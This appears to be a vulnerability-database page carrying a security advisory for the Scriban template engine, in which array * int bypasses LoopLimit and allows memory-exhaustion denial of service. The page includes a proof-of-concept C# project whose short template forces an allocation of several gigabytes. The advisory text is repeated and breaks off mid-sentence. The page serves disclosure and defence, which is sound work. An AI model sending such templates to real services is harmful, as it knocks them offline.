Scriban: array * int (ScriptArray<T>.TryEvaluate) bypasses LoopLimit — incomplete fix for GHSA-c875-h985-hvrc, missed sibling of GHSA-24c8-4792-22hx
### Summary The array multiplication operator (`array * integer`) in Scriban allocates a result whose size is the product of the attacker-controlled integer and the array length, with **no `LoopLimit` / `LimitToString` check and no overflow-safe arithmetic**. A ~40-byte template forces a multi-gigabyte allocation, producing a denial-of-service. This is the unguarded sibling of operations that *were* hardened against the same class of abuse: `string * integer` (gated by a `LimitToString` pre-check), `array.insert_at` (gated by `StepLoop`/`LoopLimit` — the **GHSA-24c8-4792-22hx** fix shipped in 7.2.0, scored 8.7 High), and the range/iteration paths covered by **GHSA-c875-h985-hvrc** ("Built-in operations bypass LoopLimit", fixed 7.0.0). The same `LoopLimit`-based hardening pattern was applied to those operations but never to `array * integer`. This can be observed directly in 7.0.0, the release where GHSA-c875 was patched: `(1..5) * 50000000` (and `1..N | array.size`) correctly throws `Exceeding number of iteration limit '1000'`, while `[1,2,3,4,5] * 50000000` allocates ~2 GB with no limit. The `LoopLimit` control is enforced on the iteration path but not on the `array * int` allocation path, side by side, in the same version. The bug has been present since the operator was introduced in **3.0.0**, survives all of the 6.6.0 / 7.0.0 / 7.2.0 DoS-hardening passes, and is still present in 7.2.0 (current) — i.e. it is both a missed sibling of GHSA-24c8 and an incomplete coverage of GHSA-c875's `LoopLimit` hardening. ### Details The `array * int` operator is handled in `ScriptArray<T>.TryEvaluate`: ```csharp // src/Scriban/Runtime/ScriptArray.cs:504-508 (Multiply case) var newArray = new ScriptArray<T>(intModifier * array.Count); for (int i = 0; i < intModifier; i++) { newArray.AddRange(array); } ``` `intModifier` is the attacker-supplied integer (`context.ToInt(...)`, `ScriptArray.cs:399`). Two problems: 1. **No resource limit.** Neither `new ScriptArray<T>(intModifier * array.Count)` nor the `AddRange` loop consults `LoopLimit`, `LimitToString`, or calls `context.StepLoop(...)`. A grep of the entire `TryEvaluate` method (`ScriptArray.cs:360-560`) finds no `StepLoop` / `LoopLimit` / `Limit` reference. `LoopLimit` (default 1000) is therefore not enforced: a template that requests 250,000,000 elements creates them all without any "iteration limit" error. 2. **Integer overflow in the capacity.** `intModifier * array.Count` is unchecked `int` arithmetic. The overflow-safe `long` cast used by the string sibling is absent here. The DoS-hardening passes guarded the two sibling operations but not this one: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:341 (string * int — GUARDED) if (context.LimitToString > 0 && value > 0 && leftText.Length > 0 && (long)leftText.Length * value > context.LimitToString) // long arithmetic, pre-check { throw new ScriptRuntimeException(spanMultiplier, $"String multiplication exceeds LimitToString `{context.LimitToString}`."); } ``` ```csharp // src/Scriban/Functions/ArrayFunctions.cs:414 (array.insert_at — GUARDED, GHSA-24c8 fix in 7.2.0) for (int i = array.Count; i < index; i++) { context.StepLoop(span, ref loopStep); // LoopLimit enforced array.Add(null); } ``` `array * int` (`ScriptArray.cs:504`) received neither guard. When the oversized allocation fails as a managed exception, it is wrapped by the binary-expression evaluator: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:241-243 catch (Exception ex) when (!(ex is ScriptRuntimeException)) { throw new ScriptRuntimeException(span, ex.Message); } ``` So a host that wraps `Render()` in `try/catch` sees a `ScriptRuntimeException` carrying the original `OutOfMemoryException` message (or `ArgumentOutOfRangeException` on the integer-overflow path). ### PoC A single console project reproduces it on the released NuGet package. `poc.csproj`: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. --> </PropertyGroup> <ItemGroup> <PackageReference Include="Scriban" Version="7.2.0" /> </ItemGroup> </Project> ``` `Program.cs`: ```csharp using Scriban; // ~41-byte template requests 5 * 200,000,000 = 1,000,000,000 elements string tpl = "{{ x = [1,2,3,4,5] * 200000000; x.size }}"; System.Console.WriteLine("Rendering..."); var sw = System.Diagnostics.Stopwatch.StartNew(); var result = Template.Parse(tpl).Render(); // allocates ~7.7 GB System.Console.WriteLine($"size={result.Trim()} peakWS=" + System.Diagnostics.Process.GetCurrentProcess().PeakWorkingSet64 / (1024 * 1024) + "MB elapsed=" + sw.ElapsedMilliseconds + "ms"); ``` Run: ```sh dotnet run -c Release ``` Measured peak working set on Scriban 7.2.0 (net8.0, .NET 9 runtime, Linux), varying only the multip
AI Analysis
Technical Summary
The Scriban template engine's array multiplication operator (array * int) in ScriptArray<T>.TryEvaluate does not enforce the LoopLimit or LimitToString resource constraints and uses unchecked integer arithmetic for allocation size. This allows an attacker to specify a large integer multiplier that causes the allocation of a very large array, leading to denial-of-service via excessive memory consumption. The vulnerability has existed since the operator's introduction in version 3.0.0 and persists through versions 6.6.0, 7.0.0, and 7.2.0. Unlike sibling operations such as string * int and array.insert_at, which have LoopLimit protections, array * int lacks these guards. When allocation fails, the exception is wrapped and surfaced as a ScriptRuntimeException. No official patch or fix is currently documented for this issue.
Potential Impact
An attacker can cause a denial-of-service condition by triggering large memory allocations through the array * integer operator in Scriban templates. This can exhaust system memory, potentially crashing the host application or severely degrading performance. The vulnerability does not require privileges or user interaction and can be triggered remotely if untrusted templates are rendered. No code execution or data leakage is indicated. The impact is limited to resource exhaustion (DoS).
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, avoid rendering untrusted templates that use the array multiplication operator with large integer values. Implement external resource usage monitoring and limit template input size where possible. Do not rely on Scriban's internal LoopLimit protections for this operator as they are currently incomplete.
Scriban: array * int (ScriptArray<T>.TryEvaluate) bypasses LoopLimit — incomplete fix for GHSA-c875-h985-hvrc, missed sibling of GHSA-24c8-4792-22hx
Description
### Summary The array multiplication operator (`array * integer`) in Scriban allocates a result whose size is the product of the attacker-controlled integer and the array length, with **no `LoopLimit` / `LimitToString` check and no overflow-safe arithmetic**. A ~40-byte template forces a multi-gigabyte allocation, producing a denial-of-service. This is the unguarded sibling of operations that *were* hardened against the same class of abuse: `string * integer` (gated by a `LimitToString` pre-check), `array.insert_at` (gated by `StepLoop`/`LoopLimit` — the **GHSA-24c8-4792-22hx** fix shipped in 7.2.0, scored 8.7 High), and the range/iteration paths covered by **GHSA-c875-h985-hvrc** ("Built-in operations bypass LoopLimit", fixed 7.0.0). The same `LoopLimit`-based hardening pattern was applied to those operations but never to `array * integer`. This can be observed directly in 7.0.0, the release where GHSA-c875 was patched: `(1..5) * 50000000` (and `1..N | array.size`) correctly throws `Exceeding number of iteration limit '1000'`, while `[1,2,3,4,5] * 50000000` allocates ~2 GB with no limit. The `LoopLimit` control is enforced on the iteration path but not on the `array * int` allocation path, side by side, in the same version. The bug has been present since the operator was introduced in **3.0.0**, survives all of the 6.6.0 / 7.0.0 / 7.2.0 DoS-hardening passes, and is still present in 7.2.0 (current) — i.e. it is both a missed sibling of GHSA-24c8 and an incomplete coverage of GHSA-c875's `LoopLimit` hardening. ### Details The `array * int` operator is handled in `ScriptArray<T>.TryEvaluate`: ```csharp // src/Scriban/Runtime/ScriptArray.cs:504-508 (Multiply case) var newArray = new ScriptArray<T>(intModifier * array.Count); for (int i = 0; i < intModifier; i++) { newArray.AddRange(array); } ``` `intModifier` is the attacker-supplied integer (`context.ToInt(...)`, `ScriptArray.cs:399`). Two problems: 1. **No resource limit.** Neither `new ScriptArray<T>(intModifier * array.Count)` nor the `AddRange` loop consults `LoopLimit`, `LimitToString`, or calls `context.StepLoop(...)`. A grep of the entire `TryEvaluate` method (`ScriptArray.cs:360-560`) finds no `StepLoop` / `LoopLimit` / `Limit` reference. `LoopLimit` (default 1000) is therefore not enforced: a template that requests 250,000,000 elements creates them all without any "iteration limit" error. 2. **Integer overflow in the capacity.** `intModifier * array.Count` is unchecked `int` arithmetic. The overflow-safe `long` cast used by the string sibling is absent here. The DoS-hardening passes guarded the two sibling operations but not this one: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:341 (string * int — GUARDED) if (context.LimitToString > 0 && value > 0 && leftText.Length > 0 && (long)leftText.Length * value > context.LimitToString) // long arithmetic, pre-check { throw new ScriptRuntimeException(spanMultiplier, $"String multiplication exceeds LimitToString `{context.LimitToString}`."); } ``` ```csharp // src/Scriban/Functions/ArrayFunctions.cs:414 (array.insert_at — GUARDED, GHSA-24c8 fix in 7.2.0) for (int i = array.Count; i < index; i++) { context.StepLoop(span, ref loopStep); // LoopLimit enforced array.Add(null); } ``` `array * int` (`ScriptArray.cs:504`) received neither guard. When the oversized allocation fails as a managed exception, it is wrapped by the binary-expression evaluator: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:241-243 catch (Exception ex) when (!(ex is ScriptRuntimeException)) { throw new ScriptRuntimeException(span, ex.Message); } ``` So a host that wraps `Render()` in `try/catch` sees a `ScriptRuntimeException` carrying the original `OutOfMemoryException` message (or `ArgumentOutOfRangeException` on the integer-overflow path). ### PoC A single console project reproduces it on the released NuGet package. `poc.csproj`: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. --> </PropertyGroup> <ItemGroup> <PackageReference Include="Scriban" Version="7.2.0" /> </ItemGroup> </Project> ``` `Program.cs`: ```csharp using Scriban; // ~41-byte template requests 5 * 200,000,000 = 1,000,000,000 elements string tpl = "{{ x = [1,2,3,4,5] * 200000000; x.size }}"; System.Console.WriteLine("Rendering..."); var sw = System.Diagnostics.Stopwatch.StartNew(); var result = Template.Parse(tpl).Render(); // allocates ~7.7 GB System.Console.WriteLine($"size={result.Trim()} peakWS=" + System.Diagnostics.Process.GetCurrentProcess().PeakWorkingSet64 / (1024 * 1024) + "MB elapsed=" + sw.ElapsedMilliseconds + "ms"); ``` Run: ```sh dotnet run -c Release ``` Measured peak working set on Scriban 7.2.0 (net8.0, .NET 9 runtime, Linux), varying only the multip
CVSS v4.0
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The Scriban template engine's array multiplication operator (array * int) in ScriptArray<T>.TryEvaluate does not enforce the LoopLimit or LimitToString resource constraints and uses unchecked integer arithmetic for allocation size. This allows an attacker to specify a large integer multiplier that causes the allocation of a very large array, leading to denial-of-service via excessive memory consumption. The vulnerability has existed since the operator's introduction in version 3.0.0 and persists through versions 6.6.0, 7.0.0, and 7.2.0. Unlike sibling operations such as string * int and array.insert_at, which have LoopLimit protections, array * int lacks these guards. When allocation fails, the exception is wrapped and surfaced as a ScriptRuntimeException. No official patch or fix is currently documented for this issue.
Potential Impact
An attacker can cause a denial-of-service condition by triggering large memory allocations through the array * integer operator in Scriban templates. This can exhaust system memory, potentially crashing the host application or severely degrading performance. The vulnerability does not require privileges or user interaction and can be triggered remotely if untrusted templates are rendered. No code execution or data leakage is indicated. The impact is limited to resource exhaustion (DoS).
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, avoid rendering untrusted templates that use the array multiplication operator with large integer values. Implement external resource usage monitoring and limit template input size where possible. Do not rely on Scriban's internal LoopLimit protections for this operator as they are currently incomplete.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-q6rr-fm2g-g5x8
- Osv Schema Version
- 1.4.0
- Aliases
- []
- Ecosystems
- ["NuGet"]
- Database Specific Severity
- MODERATE
- Cvss Version
- 4.0
Threat ID: 6a4c346127e9c79719600af8
Added to database: 07/06/2026, 23:04:01 UTC
Last enriched: 07/06/2026, 23:34:23 UTC
Last updated: 07/31/2026, 12:27:30 UTC
Views: 13
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.